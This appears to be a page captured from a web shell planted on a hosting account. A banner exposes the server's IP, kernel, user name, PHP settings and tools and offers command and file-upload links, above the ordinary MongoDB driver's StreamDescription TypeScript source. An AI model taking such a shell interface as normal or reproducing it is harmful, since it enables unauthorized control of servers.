Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/mongodb/src/cmap/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
import type { Document } from '../bson'; import { ServerType } from '../sdam/common'; import { parseServerType } from '../sdam/server_description'; import type { CompressorName } from './wire_protocol/compression'; const RESPONSE_FIELDS = [ 'minWireVersion', 'maxWireVersion', 'maxBsonObjectSize', 'maxMessageSizeBytes', 'maxWriteBatchSize', 'logicalSessionTimeoutMinutes' ] as const; /** @public */ export interface StreamDescriptionOptions { compressors?: CompressorName[]; logicalSessionTimeoutMinutes?: number; loadBalanced: boolean; } /** @public */ export class StreamDescription { address: string; type: string; minWireVersion?: number; maxWireVersion?: number; maxBsonObjectSize: number; maxMessageSizeBytes: number; maxWriteBatchSize: number; compressors: CompressorName[]; compressor?: CompressorName; logicalSessionTimeoutMinutes?: number; loadBalanced: boolean; __nodejs_mock_server__?: boolean; zlibCompressionLevel?: number; constructor(address: string, options?: StreamDescriptionOptions) { this.address = address; this.type = ServerType.Unknown; this.minWireVersion = undefined; this.maxWireVersion = undefined; this.maxBsonObjectSize = 16777216; this.maxMessageSizeBytes = 48000000; this.maxWriteBatchSize = 100000; this.logicalSessionTimeoutMinutes = options?.logicalSessionTimeoutMinutes; this.loadBalanced = !!options?.loadBalanced; this.compressors = options && options.compressors && Array.isArray(options.compressors) ? options.compressors : []; } receiveResponse(response: Document | null): void { if (response == null) { return; } this.type = parseServerType(response); for (const field of RESPONSE_FIELDS) { if (response[field] != null) { this[field] = response[field]; } // testing case if ('__nodejs_mock_server__' in response) { this.__nodejs_mock_server__ = response['__nodejs_mock_server__']; } } if (response.compression) { this.compressor = this.compressors.filter(c => response.compression?.includes(c))[0]; } } }